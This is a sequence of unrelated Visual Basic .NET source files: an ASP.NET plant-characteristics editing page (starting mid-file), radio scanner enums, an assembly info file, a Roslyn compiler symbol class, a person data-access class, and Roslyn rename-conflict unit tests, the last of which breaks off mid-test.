True End If If txtCharacteristcsList.Contains(",74,") Then anthotaxy.Items.FindByValue(74).Selected = True End If If txtCharacteristcsList.Contains(",75,") Then anthotaxy.Items.FindByValue(75).Selected = True End If If txtCharacteristcsList.Contains(",76,") Then anthotaxy.Items.FindByValue(76).Selected = True End If If txtCharacteristcsList.Contains(",77,") Then anthotaxy.Items.FindByValue(77).Selected = True End If If txtCharacteristcsList.Contains(",78,") Then anthotaxy.Items.FindByValue(78).Selected = True End If If txtCharacteristcsList.Contains(",79,") Then anthotaxy.Items.FindByValue(79).Selected = True End If If txtCharacteristcsList.Contains(",80,") Then anthotaxy.Items.FindByValue(80).Selected = True End If If txtCharacteristcsList.Contains(",90,") Then anthotaxy.Items.FindByValue(90).Selected = True End If ' 花期 If txtCharacteristcsList.Contains(",91,") Then inflorescene.Items.FindByValue(91).Selected = True End If If txtCharacteristcsList.Contains(",92,") Then inflorescene.Items.FindByValue(92).Selected = True End If If txtCharacteristcsList.Contains(",93,") Then inflorescene.Items.FindByValue(93).Selected = True End If If txtCharacteristcsList.Contains(",94,") Then inflorescene.Items.FindByValue(94).Selected = True End If If txtCharacteristcsList.Contains(",95,") Then inflorescene.Items.FindByValue(95).Selected = True End If If txtCharacteristcsList.Contains(",96,") Then inflorescene.Items.FindByValue(96).Selected = True End If If txtCharacteristcsList.Contains(",97,") Then inflorescene.Items.FindByValue(97).Selected = True End If If txtCharacteristcsList.Contains(",98,") Then inflorescene.Items.FindByValue(98).Selected = True End If If txtCharacteristcsList.Contains(",99,") Then inflorescene.Items.FindByValue(99).Selected = True End If If txtCharacteristcsList.Contains(",100,") Then inflorescene.Items.FindByValue(100).Selected = True End If If txtCharacteristcsList.Contains(",101,") Then inflorescene.Items.FindByValue(101).Selected = True End If If txtCharacteristcsList.Contains(",102,") Then inflorescene.Items.FindByValue(102).Selected = True End If ' 果實形態 If txtCharacteristcsList.Contains(",103,") Then fruit.Items.FindByValue(103).Selected = True End If If txtCharacteristcsList.Contains(",104,") Then fruit.Items.FindByValue(104).Selected = True End If If txtCharacteristcsList.Contains(",105,") Then fruit.Items.FindByValue(105).Selected = True End If If txtCharacteristcsList.Contains(",106,") Then fruit.Items.FindByValue(106).Selected = True End If If txtCharacteristcsList.Contains(",107,") Then fruit.Items.FindByValue(107).Selected = True End If If txtCharacteristcsList.Contains(",108,") Then fruit.Items.FindByValue(108).Selected = True End If If txtCharacteristcsList.Contains(",109,") Then fruit.Items.FindByValue(109).Selected = True End If If txtCharacteristcsList.Contains(",110,") Then fruit.Items.FindByValue(110).Selected = True End If If txtCharacteristcsList.Contains(",111,") Then fruit.Items.FindByValue(111).Selected = True End If If txtCharacteristcsList.Contains(",112,") Then fruit.Items.FindByValue(112).Selected = True End If If txtCharacteristcsList.Contains(",113,") Then fruit.Items.FindByValue(113).Selected = True End If If txtCharacteristcsList.Contains(",114,") Then fruit.Items.FindByValue(114).Selected = True End If If txtCharacteristcsList.Contains(",115,") Then fruit.Items.FindByValue(115).Selected = True End If End If '共用特徵填入 ' 莖 If txtCharacteristcsList.Contains(",131,") Then stem.Items.FindByValue(131).Selected = True End If If txtCharacteristcsList.Contains(",132,") Then stem.Items.FindByValue(132).Selected = True End If If txtCharacteristcsList.Contains(",133,") Then stem.Items.FindByValue(133).Selected = True End If If txtCharacteristcsList.Contains(",134,") Then stem.Items.FindByValue(134).Selected = True End If If txtCharacteristcsList.Contains(",135,") Then stem.Items.FindByValue(135).Selected = True End If ' 習性 If txtCharacteristcsList.Contains(",3,") Then habitation.Items.FindByValue(3).Selected = True End If If txtCharacteristcsList.Contains(",4,") Then habitation.Items.FindByValue(4).Selected = True End If If txtCharacteristcsList.Contains(",5,") Then habitation.Items.FindByValue(5).Selected = True End If If txtCharacteristcsList.Contains(",6,") Then habitation.Items.FindByValue(6).Selected = True End If If txtCharacteristcsList.Contains(",7,") Then habitation.Items.FindByValue(7).Selected = True End If If txtCharacteristcsList.Contains(",8,") Then habitation.Items.FindByValue(8).Selected = True End If ' 葉序 If txtCharacteristcsList.Contains(",121,") Then phyllotaxy.Items.FindByValue(121).Selected = True End If If txtCharacteristcsList.Contains(",122,") Then phyllotaxy.Items.FindByValue(122).Selected = True End If If txtCharacteristcsList.Contains(",123,") Then phyllotaxy.Items.FindByValue(123).Selected = True End If If txtCharacteristcsList.Contains(",124,") Then phyllotaxy.Items.FindByValue(124).Selected = True End If If txtCharacteristcsList.Contains(",125,") Then phyllotaxy.Items.FindByValue(125).Selected = True End If If txtCharacteristcsList.Contains(",126,") Then phyllotaxy.Items.FindByValue(126).Selected = True End If If txtCharacteristcsList.Contains(",127,") Then phyllotaxy.Items.FindByValue(127).Selected = True End If If txtCharacteristcsList.Contains(",128,") Then phyllotaxy.Items.FindByValue(128).Selected = True End If If txtCharacteristcsList.Contains(",129,") Then phyllotaxy.Items.FindByValue(129).Selected = True End If ' 葉 If txtCharacteristcsList.Contains(",10,") Then leaf.Items.FindByValue(10).Selected = True ElseIf txtCharacteristcsList.Contains(",12,") Then leaf.Items.FindByValue(12).Selected = True End If ' 複葉形態 If txtCharacteristcsList.Contains(",116,") Then compoundLeaf.Items.FindByValue(116).Selected = True ElseIf txtCharacteristcsList.Contains(",117,") Then compoundLeaf.Items.FindByValue(117).Selected = True ElseIf txtCharacteristcsList.Contains(",118,") Then compoundLeaf.Items.FindByValue(118).Selected = True ElseIf txtCharacteristcsList.Contains(",119,") Then compoundLeaf.Items.FindByValue(119).Selected = True End If ' 羽狀複葉形態 If txtCharacteristcsList.Contains(",13,") Then pinnate.Items.FindByValue(13).Selected = True End If If txtCharacteristcsList.Contains(",14,") Then pinnate.Items.FindByValue(14).Selected = True End If If txtCharacteristcsList.Contains(",15,") Then pinnate.Items.FindByValue(15).Selected = True End If If txtCharacteristcsList.Contains(",16,") Then pinnate.Items.FindByValue(16).Selected = True End If If txtCharacteristcsList.Contains(",17,") Then pinnate.Items.FindByValue(17).Selected = True End If If txtCharacteristcsList.Contains(",18,") Then pinnate.Items.FindByValue(18).Selected = True End If If txtCharacteristcsList.Contains(",19,") Then pinnate.Items.FindByValue(19).Selected = True End If If txtCharacteristcsList.Contains(",20,") Then pinnate.Items.FindByValue(20).Selected = True End If conn.Close() conn.Dispose() End If Catch ex As SqlException Response.Write("File not found!") Catch ex As Exception Response.Write("File not found!") End Try End Sub Protected Sub btnSave_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnSave.Click Dim strOptions As String strOptions = "" Dim characteristics As New ArrayList() Dim j As Integer j = 0 For i = 0 To stem.Items.Count - 1 If stem.Items(i).Selected Then j += stem.Items(i).Value End If Next For i = 0 To habitation.Items.Count - 1 If habitation.Items(i).Selected Then j += habitation.Items(i).Value End If Next For i = 0 To flowerColor.Items.Count - 1 If flowerColor.Items(i).Selected Then j += flowerColor.Items(i).Value End If Next For i = 0 To perianth.Items.Count - 1 If perianth.Items(i).Selected Then j += perianth.Items(i).Value End If Next For i = 0 To anthotaxy.Items.Count - 1 If anthotaxy.Items(i).Selected Then j += anthotaxy.Items(i).Value End If Next For i = 0 To inflorescene.Items.Count - 1 If inflorescene.Items(i).Selected Then j += inflorescene.Items(i).Value End If Next For i = 0 To fruit.Items.Count - 1 If fruit.Items(i).Selected Then j += fruit.Items(i).Value End If Next For i = 0 To phyllotaxy.Items.Count - 1 If phyllotaxy.Items(i).Selected Then j += phyllotaxy.Items(i).Value End If Next For i = 0 To pinnate.Items.Count - 1 If pinnate.Items(i).Selected Then j += pinnate.Items(i).Value End If Next For i = 0 To perispore.Items.Count - 1 If perispore.Items(i).Selected Then j += perispore.Items(i).Value End If Next For i = 0 To perisporeType.Items.Count - 1 If perisporeType.Items(i).Selected Then j += perisporeType.Items(i).Value End If Next For i = 0 To plantCate.Items.Count - 1 If plantCate.Items(i).Selected Then j += plantCate.Items(i).Value End If Next For i = 0 To petal.Items.Count - 1 If petal.Items(i).Selected Then j += petal.Items(i).Value End If Next For i = 0 To leaf.Items.Count - 1 If leaf.Items(i).Selected Then j += leaf.Items(i).Value End If Next For i = 0 To compoundLeaf.Items.Count - 1 If compoundLeaf.Items(i).Selected Then j += compoundLeaf.Items(i).Value End If Next '============================================================ If j <> 0 Then For i = 0 To stem.Items.Count - 1 If stem.Items(i).Selected Then strOptions += stem.Items(i).Value + "," characteristics.Add(stem.Items(i).Value) End If Next For i = 0 To habitation.Items.Count - 1 If habitation.Items(i).Selected Then strOptions += habitation.Items(i).Value + "," characteristics.Add(habitation.Items(i).Value) End If Next For i = 0 To flowerColor.Items.Count - 1 If flowerColor.Items(i).Selected Then strOptions += flowerColor.Items(i).Value + "," characteristics.Add(flowerColor.Items(i).Value) End If Next For i = 0 To perianth.Items.Count - 1 If perianth.Items(i).Selected Then strOptions += perianth.Items(i).Value + "," characteristics.Add(perianth.Items(i).Value) End If Next For i = 0 To anthotaxy.Items.Count - 1 If anthotaxy.Items(i).Selected Then strOptions += anthotaxy.Items(i).Value + "," characteristics.Add(anthotaxy.Items(i).Value) End If Next For i = 0 To inflorescene.Items.Count - 1 If inflorescene.Items(i).Selected Then strOptions += inflorescene.Items(i).Value + "," characteristics.Add(inflorescene.Items(i).Value) End If Next For i = 0 To fruit.Items.Count - 1 If fruit.Items(i).Selected Then strOptions += fruit.Items(i).Value + "," characteristics.Add(fruit.Items(i).Value) End If Next For i = 0 To phyllotaxy.Items.Count - 1 If phyllotaxy.Items(i).Selected Then strOptions += phyllotaxy.Items(i).Value + "," characteristics.Add(phyllotaxy.Items(i).Value) End If Next j = 0 For i = 0 To pinnate.Items.Count - 1 If pinnate.Items(i).Selected Then strOptions += pinnate.Items(i).Value + "," characteristics.Add(pinnate.Items(i).Value) End If Next For i = 0 To perispore.Items.Count - 1 If perispore.Items(i).Selected Then strOptions += perispore.Items(i).Value + "," characteristics.Add(perispore.Items(i).Value) End If Next For i = 0 To perisporeType.Items.Count - 1 If perisporeType.Items(i).Selected Then strOptions += perisporeType.Items(i).Value + "," characteristics.Add(perisporeType.Items(i).Value) End If Next For i = 0 To plantCate.Items.Count - 1 If plantCate.Items(i).Selected Then strOptions += plantCate.Items(i).Value + "," characteristics.Add(plantCate.Items(i).Value) End If Next For i = 0 To petal.Items.Count - 1 If petal.Items(i).Selected Then strOptions += petal.Items(i).Value + "," characteristics.Add(petal.Items(i).Value) End If Next For i = 0 To leaf.Items.Count - 1 If leaf.Items(i).Selected Then strOptions += leaf.Items(i).Value + "," characteristics.Add(leaf.Items(i).Value) End If Next For i = 0 To compoundLeaf.Items.Count - 1 If compoundLeaf.Items(i).Selected Then strOptions += compoundLeaf.Items(i).Value + "," characteristics.Add(compoundLeaf.Items(i).Value) End If Next End If If Len(strOptions) > 0 Then strOptions = Left(strOptions, Len(strOptions) - 1) Dim connSetting As ConnectionStringSettings = WebConfigurationManager.ConnectionStrings("HASTDBConnectionString") Dim conn As SqlConnection = New SqlConnection(connSetting.ConnectionString) Dim strSQL As String = "" Dim InsertCommand As New SqlCommand strSQL = "prSpeciesCharacteristicsEdit" Dim charact As Integer Try conn.Open() Dim paramSpeciesID As New SqlParameter("speciesID", SqlDbType.Int) paramSpeciesID.Direction = Data.ParameterDirection.Input Dim paramCharacteristicID As New SqlParameter("characteristicID", SqlDbType.Int) paramCharacteristicID.Direction = Data.ParameterDirection.Input For Each charact In characteristics If Request.QueryString("speciesID") <> "" Then paramSpeciesID.Value = Request.QueryString("speciesID") InsertCommand.Parameters.Add(paramSpeciesID) paramCharacteristicID.Value = charact InsertCommand.Parameters.Add(paramCharacteristicID) InsertCommand.CommandText = strSQL InsertCommand.Connection = conn InsertCommand.CommandType = CommandType.StoredProcedure InsertCommand.ExecuteNonQuery() InsertCommand.Parameters.Clear() End If Next charact InsertCommand.Dispose() conn.Close() conn.Dispose() Catch ex As SqlException Response.Write("File not found!") Catch ex As Exception Response.Write("File not found!") End Try Dim strRedirectUrl As String strRedirectUrl = "~/Mgm/Project/EditCharacteristicsSuccess.aspx?speciesID=" strRedirectUrl += Request.QueryString("speciesID") Response.Redirect(strRedirectUrl) End If End Sub Protected Sub btnCancel_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnCancel.Click stem.SelectedIndex = -1 compoundLeaf.SelectedIndex = -1 habitation.SelectedIndex = -1 flowerColor.SelectedIndex = -1 perianth.SelectedIndex = -1 anthotaxy.SelectedIndex = -1 inflorescene.SelectedIndex = -1 fruit.SelectedIndex = -1 phyllotaxy.SelectedIndex = -1 pinnate.SelectedIndex = -1 perispore.SelectedIndex = -1 perisporeType.SelectedIndex = -1 petal.SelectedIndex = -1 plantCate.SelectedIndex = -1 leaf.SelectedIndex = -1 End Sub End Class
 Namespace Scanner Public Class SystemInformation Public ModelName As String Public ESNNumber As String Public RemoteCommandVersion As String Public Sub New() Me.ModelName = "Unknown" Me.ESNNumber = "Unknown" Me.RemoteCommandVersion = "Unknown" End Sub End Class Public Structure SignalStrength Public Strength As Integer Public Frequency As Integer End Structure Public Enum Modulations AM = 1 FM = 2 NFM = 3 WFM = 4 AUTO = 5 NA = 6 ' Not available End Enum Public Enum StepSizes Step5K Step6_25K Step12_5K Step25K Step50K Step10K Step100K Step7_5K 'Step8_33K StepAUTO End Enum Public Enum ScannerModels Generic 'BC245 'BC250 BC780 BC785 'BC895 'BCT8 'PRO2052 Unknown End Enum Public Enum ScanDirections Up Down End Enum ''' <summary> ''' Types of object to alpha tag. Values match ASCII code of code to send to scanner ''' </summary> Public Enum AlphaTagType ''' <summary> ''' Conventional bank alpha tag (A-J). Command=B. ''' </summary> ScanBank = 66 ''' <summary> ''' Conventional channel alpha tag (3-digits). Command=C. ''' </summary> Channel = 67 ''' <summary> ''' Talkgroup alpha tag. Command=I. ''' </summary> TalkGroup = 73 ''' <summary> ''' Scanlist alpha tag (A1-J0). Command=L. ''' </summary> ScanList = 76 ''' <summary> ''' Search range alpha tag. Command=S. ''' </summary> SearchRange = 83 End Enum Public Enum Properties Attenuated Channel Frequency Line1 Line2 Line3 Line4 Mode Model Modulation Muted PriorityScan Banks ScanDirection SearchBanks SignalStrength SquelchOpen StepSize SystemInformation WindowVoltage End Enum Public Class ScannerMode Public ShortName As String Public LongName As String Public Sub New(ByVal shortName As String, ByVal longName As String) Me.ShortName = shortName Me.LongName = longName End Sub End Class End Namespace
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("GetVideoFromCamera")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("xFX JumpStart")> <Assembly: AssemblyProduct("GetVideoFromCamera")> <Assembly: AssemblyCopyright("Copyright © xFX JumpStart 2008")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("b62f4380-19d3-473d-88b4-55db1329dfbd")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("2018.2.16.54")> <Assembly: AssemblyFileVersion("2018.2.16.53")>
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System Imports System.Collections.Immutable Imports Microsoft.CodeAnalysis.CodeGen Imports Microsoft.CodeAnalysis.Symbols Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.CodeAnalysis.VisualBasic Friend NotInheritable Class SynthesizedLambdaCacheFieldSymbol Inherits SynthesizedFieldSymbol Implements ISynthesizedMethodBodyImplementationSymbol Private ReadOnly _topLevelMethod As MethodSymbol Public Sub New(containingType As NamedTypeSymbol, implicitlyDefinedBy As Symbol, type As TypeSymbol, name As String, topLevelMethod As MethodSymbol, Optional accessibility As Accessibility = Accessibility.Private, Optional isReadOnly As Boolean = False, Optional isShared As Boolean = False, Optional isSpecialNameAndRuntimeSpecial As Boolean = False) MyBase.New(containingType, implicitlyDefinedBy, type, name, accessibility, isReadOnly, isShared, isSpecialNameAndRuntimeSpecial) Debug.Assert(topLevelMethod IsNot Nothing) _topLevelMethod = topLevelMethod End Sub ' When the containing top-level method body is updated we don't need to attempt to update the cache field ' since a field update is a no-op. Public ReadOnly Property HasMethodBodyDependency As Boolean Implements ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency Get Return False End Get End Property Public ReadOnly Property Method As IMethodSymbolInternal Implements ISynthesizedMethodBodyImplementationSymbol.Method Get Return _topLevelMethod End Get End Property End Class End Namespace
Public Class RNPersona Public Sub Registrar(Byval wPersona AS Persona) Dim cn As New SqlConnection(My.Settings.Conexion) Dim cmd As New SqlCommand("pr_iPersona", cn) cmd.CommandType = CommandType.StoredProcedure With cmd.Parameters .AddWithValue("@nombre", wPersona.nombre) .AddWithValue("@apPaterno", wPersona.apPaterno) .AddWithValue("@dni", wPersona.dni) .AddWithValue("@sexo", wPersona.sexo) .AddWithValue("@edad", wPersona.edad) .AddWithValue("@fechaNac", wPersona.fechaNac) .AddWithValue("@direccion", wPersona.direccion) .AddWithValue("@telefono", wPersona.telefono) .AddWithValue("@mail", wPersona.mail) .AddWithValue("@celular", wPersona.celular) .AddWithValue("@estado", wPersona.estado) .AddWithValue("@cod_Distrito", wPersona.cod_Distrito) .AddWithValue("@cod_Provincia", wPersona.cod_Provincia) .AddWithValue("@cod_Departamento", wPersona.cod_Departamento) .AddWithValue("@apMaterno", wPersona.apMaterno) End With Try cn.Open() cmd.ExecuteNonQuery() Catch ex AS Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try End Sub Public Sub Modificar(Byval wPersona AS Persona) Dim cn As New SqlConnection(My.Settings.Conexion) Dim cmd As New SqlCommand("pr_aPersona", cn) cmd.CommandType = CommandType.StoredProcedure With cmd.Parameters .AddWithValue("@cod_Persona", wPersona.cod_Persona) .AddWithValue("@nombre", wPersona.nombre) .AddWithValue("@apPaterno", wPersona.apPaterno) .AddWithValue("@dni", wPersona.dni) .AddWithValue("@sexo", wPersona.sexo) .AddWithValue("@edad", wPersona.edad) .AddWithValue("@fechaNac", wPersona.fechaNac) .AddWithValue("@direccion", wPersona.direccion) .AddWithValue("@telefono", wPersona.telefono) .AddWithValue("@mail", wPersona.mail) .AddWithValue("@celular", wPersona.celular) .AddWithValue("@estado", wPersona.estado) .AddWithValue("@cod_Distrito", wPersona.cod_Distrito) .AddWithValue("@cod_Provincia", wPersona.cod_Provincia) .AddWithValue("@cod_Departamento", wPersona.cod_Departamento) .AddWithValue("@apMaterno", wPersona.apMaterno) End With Try cn.Open() cmd.ExecuteNonQuery() Catch ex AS Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try End Sub Public Function LeerCerin() As Persona Dim cn As New SqlConnection(My.Settings.conexion) Dim cmd As New SqlCommand("pr_LeerCerin", cn) Dim dr As SqlDataReader = Nothing Dim dato As Persona = Nothing cmd.CommandType = CommandType.StoredProcedure Try cn.Open() dr = cmd.ExecuteReader() If dr.Read = True Then dato = New Persona(CInt(dr.Item("cod_persona")), CStr(dr.Item("tipodoc")), CStr(dr.Item("nombre")), CStr(dr.Item("apPaterno")), CStr(dr.Item("dni")), CBool(dr.Item("sexo")), dr.Item("edad"), CStr(dr.Item("fechaNac")), CStr(dr.Item("direccion")), CStr(dr.Item("telefono")), CStr(dr.Item("mail")), CStr(dr.Item("celular")), CStr(dr.Item("estado")), CStr(dr.Item("cod_Distrito")), CStr(dr.Item("cod_Provincia")), CStr(dr.Item("cod_Departamento")), CStr(dr.Item("apMaterno"))) End If Catch ex As Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try Return dato End Function Public Function Leer(ByVal cod_persona As Integer) As Persona Dim cn As New SqlConnection(My.Settings.conexion) Dim cmd As New SqlCommand("pr_LeerPersona", cn) Dim dr As SqlDataReader = Nothing Dim dato As Persona = Nothing cmd.CommandType = CommandType.StoredProcedure With cmd.Parameters .AddWithValue("@codPersona", cod_persona) End With Try cn.Open() dr = cmd.ExecuteReader() If dr.Read = True Then dato = New Persona(CInt(dr.Item("cod_persona")), CStr(dr.Item("tipodoc")), CStr(dr.Item("nombre")), CStr(dr.Item("apPaterno")), CStr(dr.Item("dni")), CBool(dr.Item("sexo")), dr.Item("edad"), CStr(dr.Item("fechaNac")), CStr(dr.Item("direccion")), CStr(dr.Item("telefono")), CStr(dr.Item("mail")), CStr(dr.Item("celular")), CStr(dr.Item("estado")), CStr(dr.Item("cod_Distrito")), CStr(dr.Item("cod_Provincia")), CStr(dr.Item("cod_Departamento")), CStr(dr.Item("apMaterno"))) End If Catch ex As Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try Return dato End Function Public Function LeerTratante(ByVal cod_persona As Integer) As Persona Dim cn As New SqlConnection(My.Settings.conexion) Dim cmd As New SqlCommand("pr_LeerTratante", cn) Dim dr As SqlDataReader = Nothing Dim dato As Persona = Nothing cmd.CommandType = CommandType.StoredProcedure With cmd.Parameters .AddWithValue("@codPersona", cod_persona) End With Try cn.Open() dr = cmd.ExecuteReader() If dr.Read = True Then dato = New Persona(CInt(dr.Item("cod_persona")), CStr(dr.Item("nombre")), CStr(dr.Item("apPaterno")), CStr(dr.Item("apMaterno")), CStr(dr.Item("dni")), CStr(dr.Item("estado"))) End If Catch ex As Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try Return dato End Function Public Function Listar(ByVal wNombre As String) As List(Of Persona) Dim la As New List(Of Persona) Dim cn As New SqlConnection(My.Settings.conexion) Dim cmd As New SqlCommand("pr_liPersona", cn) Dim dr As SqlDataReader = Nothing cmd.CommandType = CommandType.StoredProcedure cmd.Parameters.AddWithValue("@Nombre", wNombre) Try cn.Open() dr = cmd.ExecuteReader While dr.Read la.Add(New Persona(CInt(dr.Item("cod_persona")), dr.Item("nombre").ToString, dr.Item("apPaterno").ToString, dr.Item("apMaterno").ToString)) End While cn.Close() Catch ex As Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try Return la End Function Public Function ListarPersonal(ByVal wNombre As String) As List(Of Persona) Dim la As New List(Of Persona) Dim cn As New SqlConnection(My.Settings.conexion) Dim cmd As New SqlCommand("pr_liPersonal", cn) Dim dr As SqlDataReader = Nothing cmd.CommandType = CommandType.StoredProcedure cmd.Parameters.AddWithValue("@Nombre", wNombre) Try cn.Open() dr = cmd.ExecuteReader While dr.Read la.Add(New Persona(CInt(dr.Item("cod_persona")), dr.Item("nombre").ToString, dr.Item("apPaterno").ToString, dr.Item("apMaterno").ToString)) End While cn.Close() Catch ex As Exception Throw ex Finally cmd.Dispose() cmd = Nothing If cn.State = ConnectionState.Open Then cn.Close() End If cn.Dispose() cn = Nothing End Try Return la End Function End Class
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports Microsoft.CodeAnalysis.Rename.ConflictEngine Namespace Microsoft.CodeAnalysis.Editor.UnitTests.Rename Partial Public Class RenameEngineTests <[UseExportProvider]> Public Class VisualBasicConflicts Private ReadOnly _outputHelper As Abstractions.ITestOutputHelper Public Sub New(outputHelper As Abstractions.ITestOutputHelper) _outputHelper = outputHelper End Sub <WpfFact> <WorkItem(798375, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/798375")> <WorkItem(773543, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/773543")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub BreakingRenameWithRollBacksInsideLambdas_2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Class C Class D Public x As Integer = 1 End Class Dim a As Action(Of Integer) = Sub([|$$x|] As Integer) Dim {|Conflict:y|} = New D() Console.{|Conflict:WriteLine|}({|Conflict:x|}) End Sub End Class </Document> </Project> </Workspace>, renameTo:="y") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <WpfFact> <WorkItem(798375, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/798375")> <WorkItem(773534, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/773534")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub BreakingRenameWithRollBacksInsideLambdas() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Structure y Public x As Integer End Structure Class C Class D Public x As Integer = 1 Dim w As Action(Of y) = Sub([|$$x|] As y) Dim {|Conflict:y|} = New D() Console.WriteLine(y.x) Console.WriteLine({|Conflict:x|}.{|Conflict:x|}) End Sub End Class End Class </Document> </Project> </Workspace>, renameTo:="y") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <WorkItem(857937, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/857937")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub HandleInvocationExpressions() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module Program Sub [|$$Main|](args As String()) Dim x As New Dictionary(Of Integer, Dictionary(Of Integer, Integer)) Console.WriteLine(x(1)(3)) End Sub End Module </Document> </Project> </Workspace>, renameTo:="x") End Using End Sub <Fact> <WorkItem(773435, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/773435")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub BreakingRenameWithInvocationOnDelegateInstance() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Delegate Sub Goo(x As Integer) Public Sub GooMeth(x As Integer) End Sub Public Sub void() Dim {|Conflict:x|} As Goo = New Goo(AddressOf GooMeth) Dim [|$$z|] As Integer = 1 Dim y As Integer = {|Conflict:z|} x({|Conflict:z|}) End Sub End Class </Document> </Project> </Workspace>, renameTo:="x") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <WorkItem(782020, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/782020")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub BreakingRenameWithSameClassInOneNamespace() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports A = N.{|Conflict:X|} Namespace N Class {|Conflict:X|} End Class End Namespace Namespace N Class {|Conflict:$$Y|} End Class End Namespace </Document> </Project> </Workspace>, renameTo:="X") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub OverloadResolutionConflictResolve_1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Runtime.CompilerServices Module C &lt;Extension()> Public Sub Ex(x As String) End Sub Sub Outer(x As Action(Of String), y As Object) Console.WriteLine(1) End Sub Sub Outer(x As Action(Of Integer), y As Integer) Console.WriteLine(2) End Sub Sub Inner(x As Action(Of String), y As String) End Sub Sub Inner(x As Action(Of String), y As Integer) End Sub Sub Inner(x As Action(Of Integer), y As Integer) End Sub Sub Main() {|conflict1:Outer|}(Sub(y) {|conflict2:Inner|}(Sub(x) x.Ex(), y), 0) Outer(Sub(y As Integer) Inner(CType(Sub(x) Console.WriteLine(x) x.Ex() End Sub, Action(Of String)), y) End Sub, 0) End Sub End Module Module E ' Rename Ex To Goo &lt;Extension()> Public Sub [|$$Ex|](x As Integer) End Sub End Module </Document> </Project> </Workspace>, renameTo:="z") result.AssertLabeledSpansAre("conflict2", "Outer(Sub(y As String) Inner(Sub(x) x.Ex(), y), 0)", type:=RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("conflict1", "Outer(Sub(y As String) Inner(Sub(x) x.Ex(), y), 0)", type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub OverloadResolutionConflictResolve_2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Runtime.CompilerServices Module C &lt;Extension()> Public Sub Ex(x As String) End Sub Sub Outer(x As Action(Of String), y As Object) Console.WriteLine(1) End Sub Sub Outer(x As Action(Of Integer), y As Integer) Console.WriteLine(2) End Sub Sub Inner(x As Action(Of String), y As String) End Sub Sub Inner(x As Action(Of String), y As Integer) End Sub Sub Inner(x As Action(Of Integer), y As Integer) End Sub Sub Main() {|conflict2:Outer|}(Sub(y) {|conflict1:Inner|}(Sub(x) Console.WriteLine(x) x.Ex() End Sub, y) End Sub, 0) End Sub End Module Module E ' Rename Ex To Goo &lt;Extension()> Public Sub [|$$Ex|](x As Integer) End Sub End Module </Document> </Project> </Workspace>, renameTo:="z") Dim outputResult = <Code>Outer(Sub(y As String)</Code>.Value + vbCrLf + <Code> Inner(Sub(x)</Code>.Value + vbCrLf + <Code> Console.WriteLine(x)</Code>.Value 